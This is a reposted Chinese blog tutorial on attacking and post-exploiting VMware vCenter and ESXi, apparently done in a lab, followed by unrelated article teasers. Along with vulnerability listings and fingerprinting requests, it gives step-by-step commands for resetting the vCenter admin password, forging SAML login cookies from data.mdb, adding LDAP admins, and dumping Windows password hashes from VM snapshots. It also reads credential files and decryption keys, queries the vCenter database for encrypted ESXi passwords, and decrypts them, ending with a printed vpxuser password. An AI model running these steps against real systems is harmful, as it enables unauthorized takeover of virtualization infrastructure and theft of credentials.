后渗透利用之vcenter

news2024/11/28 0:48:47

目录

  • vcenter介绍
  • 环境搭建
  • 历史漏洞
  • 版本信息
    • 1、直接访问
    • 2、请求接⼝
  • 打点
    • CVE_2021_21972
      • 漏洞描述：
      • POC：
  • 后渗透
    • 获取vCenter后台
      • 重置密码
      • Cookie登录
      • 创建管理员
    • 获取虚拟机Hash
      • 分析快照
      • 挂载磁盘
    • 获取Esxi 后台
      • 获取解密key
      • 获取数据库账号密码
      • 查询Esxi加密密码
      • 解密Esxi账号密码
      • 登录Esxi管理后台

vcenter介绍

1、vSphere
vSphere 是⼀个软件的集合，包括了 vCenter Server和Esxi。
2、Esxi
Esxi 是 vSphere 中最重要的⼀个组件，是虚拟化服务，所有的虚拟机都是运⾏在 Esxi 服务上⾯。
3、vCenter
Esxi6.0前是通过 C/S 架构来管理 ESXi 集群，Esxi6.0后，官⽅采⽤ web 管理平台。
部署了 vSphere web client 的服务器被称之为 vCenter Server。
官⽅推荐将打包好的Client与 Server 应⽤安装包命名为：VMware vCenter Server Appliance，简称为：VCSA。
VCSA需要部署在VMware⾃家的Photon系统下。

环境搭建

选择esci镜像，创建一个虚拟机
在这里插入图片描述
输入密码，输完第一个按tap键输第二个
在这里插入图片描述
按f11开始安装
在这里插入图片描述
重启即可，进入web管理页面
在这里插入图片描述
建一台win 2008
安装vCenter

历史漏洞

1、CVE-2017-5638 (S2-045)

有些⽼旧版本vCenter存在S2-045。

2、CVE-2021-21972(RCE)

VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG

3、CVE-2021-21980(任意⽂件读取)

vCenter Server 6.7
vCenter Server 6.5
Cloud Foundation (vCenter Server) 3.x

4、CVE-2021-21985(RCE)

7.0 <= vCenter Server < 7.0 U2b
6.7 <= vCenter Server < 6.7 U3n
6.5 <= vCenter Server < 6.5 U3p
4.x <= Cloud Foundation (vCenter Server) < 4.2.1
3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1

5、CVE-2021-22005(任意⽂件上传)

7.0 <= vCenter Server < 7.0 U2c
6.7 <= vCenter Server < 6.7 U3o

6、CVE-2021-44228(Log4j)

vCenter Server < 7.0 U3c
vCenter Server < 6.7 U3q
vCenter Server < 6.5 U3s

7、provider-logo SSRF

vCenter v7.0.x 的某些版本中存在未授权SSRF漏洞。

版本信息

1、直接访问

https://192.168.76.139/sdk/vimServiceVersions.xml

2、请求接⼝

POST /sdk/ HTTP/1.1
Host: 192.168.76.139
Connection: close
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 
Firefox/100.0
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.76.139/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Timeline Sec
fcmit.cc0x04 漏洞复现
Content-Type: application/x-www-form-urlencoded
Content-Length: 503
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Header>
<operationID>00000001-00000001</operationID>
</soap:Header>
<soap:Body>
<RetrieveServiceContent
xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</soap:Body>
</soap:Envelope>

打点

工具：https://github.com/W01fh4cker/VcenterKit

CVE_2021_21972

漏洞描述：

默认启⽤的 vROps 插件（com.vmware.vropspluginui.mvc）
ServicesController 类的 uploadova 接⼝存在未授权访问，
可利⽤路径穿越将⽂件解压⾄特定⽬录实现 getshell。

POC：

https://192.168.76.139/ui/vropspluginui/rest/services/uploadova

如果404，则代表不存在漏洞，如果405 或者200则可能存在漏洞。
Exp：

CVE-2021-21980
CVE-2021-21985
CVE-2021-22005
CVE-2021-44228
provider-logo SSRF
CVE-2017-5638 (S2-045)

后渗透

获取vCenter后台

重置密码

运⾏以下⽬录的程序即可按照流程重置管理员密码。

#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 
#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

Cookie登录

从 vCenter 获得数据库⽂件，其内含有IdP 证书和为管理员⽤户创建的 SAML 请求。

Linux：
/storage/db/vmware-vmdir/data.mdb
Windows：
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

下载dáta.mdb
利⽤ SAML 解密脚本⽣成 Cookie:https://github.com/horizon3ai/vcenter_saml_login
利⽤插件构造Cookie
访问链接，成功登录

https://192.168.76.139/ui/

创建管理员

利⽤脚本通过ldap添加管理员:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
添加完成后即可⽤新加的管理员账号登⼊后台。

获取虚拟机Hash

分析快照

点击虚拟机，⽣成快照。
找到快照⽂件，并下载。
使用Volatility 进行内存取证

volatility_2.6_win64_standalone.exe -f "Windows Server 2008-Snapshot1.vmem" imageinfo

Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418

使用 Volatility 的 hivelist 命令来列出内存转储中的注册表 Hive

volatility_2.6_win64_standalone.exe -f "Windows Server 2008-Snapshot1.vmem" --
profile=Win2008R2SP1x64_23418 hivelist

在这里插入图片描述
使用 Volatility 进行内存转储分析，特别是从指定的内存地址导出用户密码哈希

Y:\Downloads\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f 
"Windows Server 2008-Snapshot1.vmem" --profile=Win2008R2SP1x64_23418 hashdump -y 
0xfffff8a000024010 -s 0xfffff8a002561010

挂载磁盘

将⽬标机器克隆为虚拟机。
在这里插入图片描述
在另⼀台可以登录到桌⾯的虚拟机中添加现有硬盘。
在这里插入图片描述在虚拟机中配置磁盘⽂件为⽬标机器的磁盘。
在这里插入图片描述
打开机器，在磁盘管理中设置磁盘联机
在这里插入图片描述

SYSTEM⽂件
C:\Windows\System32\config\SYSTEM
SAM⽂件
C:\Windows\System32\config\SAM

获取Esxi 后台

获取解密key

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

获取数据库账号密码

#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

查询Esxi加密密码

Linux: 
/opt/vmware/vpostgres/9.3/bin/psql
Windows: 
C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe

使用 psql 工具从 PostgreSQL 数据库中提取信息

./opt/vmware/vpostgres/9.6/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select 
ip_address,user_name,password from vpx_host;" > password.enc

解密Esxi账号密码

  1. 填充symkey.dat（解密key）
  2. 填充Esxi加密密码
  3. 解密账号密码
    https://github.com/shmilylty/vhost_password_decrypt
    在这里插入图片描述

登录Esxi管理后台

vpxuser/j0bB~ck@3F8K{.KXUmH[bgG}=8}3.w:j

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2219190.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

ESP32-IDF 分区表

ESP32-IDF 分区表

目录 一、基本介绍1、配置结构体1.1 esp_partition_t1.2 esp_partition_iterator_t 2、常用 API2.1 esp_partition_find2.2 esp_partition_find_first2.3 esp_partition_get2.4 esp_partition_next2.5 esp_partition_iterator_release2.6 esp_partition_verify2.7 esp_partitio…
阅读更多...
使用WPF写一个简单的开关控件

使用WPF写一个简单的开关控件

<Window x:Class"WPF练习.MainWindow"xmlns"http://schemas.microsoft.com/winfx/2006/xaml/presentation"xmlns:x"http://schemas.microsoft.com/winfx/2006/xaml"xmlns:d"http://schemas.microsoft.com/expression/blend/2008"xm…
阅读更多...
适用于 vue react Es6 jQuery 等等的组织架构图(组织结构图)

适用于 vue react Es6 jQuery 等等的组织架构图(组织结构图)

我这里找的是 OrgChart 插件; 地址: GitHub - dabeng/OrgChart: Its a simple and direct organization chart plugin. Anytime you want a tree-like chart, you can turn to OrgChart. 这里面能满足你对组织架构图的一切需求! ! ! 例: 按需加载 / 拖拽 / 编辑 / 自定义 / …
阅读更多...
【玉米病害识别】Python+卷积神经网络算法+人工智能+深度学习+计算机课设项目+TensorFlow+模型训练

【玉米病害识别】Python+卷积神经网络算法+人工智能+深度学习+计算机课设项目+TensorFlow+模型训练

一、介绍 玉米病害识别系统&#xff0c;本系统使用Python作为主要开发语言&#xff0c;通过收集了8种常见的玉米叶部病害图片数据集&#xff08;‘矮花叶病’, ‘健康’, ‘灰斑病一般’, ‘灰斑病严重’, ‘锈病一般’, ‘锈病严重’, ‘叶斑病一般’, ‘叶斑病严重’&#x…
阅读更多...
使用JMeter进行Spring Boot接口的压力测试

使用JMeter进行Spring Boot接口的压力测试

使用 Apache JMeter 对接口进行压力测试是一个相对简单的过程。以下是详细的步骤&#xff0c;包括安装、配置和执行测试计划。 1. 下载和安装 JMeter 下载 JMeter 从 JMeter 官方网站https://jmeter.apache.org/download_jmeter.cgi 下载最新版本的 JMeter。 解压缩 将下载的 …
阅读更多...
【AIGC】ChatGPT与人类理解力的共鸣：人机交互中的心智理论(ToM)探索

【AIGC】ChatGPT与人类理解力的共鸣：人机交互中的心智理论(ToM)探索

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;心智理论(Theory of Mind,ToM)心智理论在心理学与神经科学中的重要性心智理论对理解同理心、道德判断和社交技能的重要性结论 &#x1f4af;乌得勒支大学研究对ChatGPT-4…
阅读更多...
基于python+dj+mysql的音乐推荐系统网页设计

基于python+dj+mysql的音乐推荐系统网页设计

音乐网站开发 如果你在学Python&#xff0c;需相关的【配套资料工具】作为研究[doge][脱单doge] 可以后台✉私信up主&#xff0c;发送&#x1f449;关键词【音乐】 本章以音乐网站项目为例&#xff0c;介绍Django在实际项目开发中的应用&#xff0c;该网站共分为6个功能模块分…
阅读更多...
使用开源的 Vue 移动端表单设计器创建表单

使用开源的 Vue 移动端表单设计器创建表单

FcDesigner Vant 版是一款基于 Vue3.0 的移动端低代码可视化表单设计器工具&#xff0c;通过数据驱动表单渲染。可以通过拖拽的方式快速创建表单&#xff0c;提高开发者对表单的开发效率&#xff0c;节省开发者的时间。 源码下载 | 演示地址 | 帮助文档 本项目采用 Vue3.0 和 …
阅读更多...
Elasticsearch基本使用及介绍

Elasticsearch基本使用及介绍

Elasticsearch 1. 关于各种数据库的使用 关于MySQL&#xff1a;是关系型数据库&#xff0c;能清楚的表示数据之间的关系&#xff0c;并且&#xff0c;是基于磁盘存储的&#xff0c;可以使用相对较低的成本存储大量的数据 关于Redis&#xff1a;是基于K-V结构的在内存中读写数…
阅读更多...
屏蔽小米电视广告的方法

屏蔽小米电视广告的方法

小米电视那个广告&#xff0c;太多&#xff0c;时间太长&#xff0c;影响观看感受&#xff0c;经过处理&#xff0c;成功屏蔽了小米电视的广告&#xff0c;提升了观影体验。 手动添加AD域名到 hosts 列表 小米(红米)电视关闭开机AD屏蔽hosts方法。 在路由器的hosts中配置。 …
阅读更多...
信息安全工程师（58）网络安全漏洞处置技术与应用

信息安全工程师（58）网络安全漏洞处置技术与应用

前言 网络安全漏洞处置技术与应用是一个复杂而关键的领域&#xff0c;它涉及漏洞的发现、评估、修补以及后续的监控与防范等多个环节。 一、网络安全漏洞发现技术 网络安全漏洞发现技术是漏洞处置的首要步骤&#xff0c;它旨在通过各种手段识别出网络系统中存在的潜在漏洞。这些…
阅读更多...
Unity开发Hololens项目

Unity开发Hololens项目

Unity打包Hololens设备 目录Visual Studio2019 / Visual Studio2022 远端部署设置Visual Studio2019 / Visual Studio2022 USB部署设置Hololens设备如何查找自身IPHololens设备门户Unity工程内的打包设置 目录 记录下自己做MR相关&#xff1a;Unity和HoloLens设备的历程。 Vi…
阅读更多...
Vue学习笔记 Class绑定 Style绑定 侦听器 表单输入绑定 模板引用 组件组成 组件嵌套关系

Vue学习笔记 Class绑定 Style绑定 侦听器 表单输入绑定 模板引用 组件组成 组件嵌套关系

文章目录 Class绑定绑定对象绑定数组注意事项 style绑定绑定对象代码效果展示 绑定数组 侦听器注意的点代码效果 表单输入绑定示例代码效果展示 修饰符.lazy.number.trim 模板引用组件组成组件组成结构引入组件步骤style中的scoped作用 组件嵌套关系 Class绑定 绑定对象 绑定数…
阅读更多...
论文精读：PRL 交变磁MnTe中的手性分裂磁振子

论文精读：PRL 交变磁MnTe中的手性分裂磁振子

DOI: 10.1103/PhysRevLett.133.156702 摘要节选 与电子带的自旋分裂一样&#xff0c;预测交变磁体中的磁振子带也表现出交替的手性分裂。本文通过对α-MnTe进行非弹性中子散射&#xff08;INS&#xff09;&#xff0c;直接观察到α-MnTe的磁振子分裂现象。磁振子的简并解除可以…
阅读更多...
【计算机网络 - 基础问题】每日 3 题（四十七）

【计算机网络 - 基础问题】每日 3 题（四十七）

✍个人博客&#xff1a;https://blog.csdn.net/Newin2020?typeblog &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞…
阅读更多...
硬盘格式化后能恢复数据吗？4款好用的数据恢复软件，格式化后也能安心

硬盘格式化后能恢复数据吗？4款好用的数据恢复软件，格式化后也能安心

咱们今天来谈谈一个挺烦人的问题——硬盘格式化后能恢复数据吗&#xff1f;别担心&#xff0c;能的&#xff01;只要你用对方法&#xff0c;就算硬盘被清空了&#xff0c;那些重要文件还是能找回来的。下面&#xff0c;我就给你们介绍几款超给力的数据恢复软件&#xff0c;让你…
阅读更多...
Axure重要元件三——中继器修改数据

Axure重要元件三——中继器修改数据

亲爱的小伙伴&#xff0c;在您浏览之前&#xff0c;烦请关注一下&#xff0c;在此深表感谢&#xff01; 课程主题&#xff1a;中继器修改数据 主要内容&#xff1a;显示编辑内容、表格赋值、修改数据 应用场景&#xff1a;更新行、表单数据行修改 案例展示&#xff1a; 正文…
阅读更多...
玫瑰花HTML源码

玫瑰花HTML源码

HTML源码 <pre id"tiresult" style"font-size: 9px; background-color: #000000; font-weight: bold; padding: 4px 5px; --fs: 9px;"><b style"color:#000000">0010000100000111101110110111100010000100000100001010111111100110…
阅读更多...
【Qt】控件——Qt按钮类控件、常用的按钮类控件、按钮类控件的使用、Push Button、Radio Button、Check Box

【Qt】控件——Qt按钮类控件、常用的按钮类控件、按钮类控件的使用、Push Button、Radio Button、Check Box

文章目录 Qt3. Qt按钮类控件Push ButtonRadio ButtonCheck Box Qt 3. Qt按钮类控件 Push Button 使用 QPushButton 表示一个按钮。当点击按钮时可以触发各种事件。QPushButton 继承自 QAbstractButton。这个类是一个抽象类。是其他按钮的父类。 PushButton和QAbstractButton的…
阅读更多...
Flink时间语义和时间窗口

Flink时间语义和时间窗口

前言 在实际的流计算业务场景中&#xff0c;我们会发现&#xff0c;数据和数据的计算往往都和时间具有相关性。 举几个例子&#xff1a; 直播间右上角通常会显示观看直播的人数&#xff0c;并且这个数字每隔一段时间就会更新一次&#xff0c;比如10秒。电商平台的商品列表&a…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023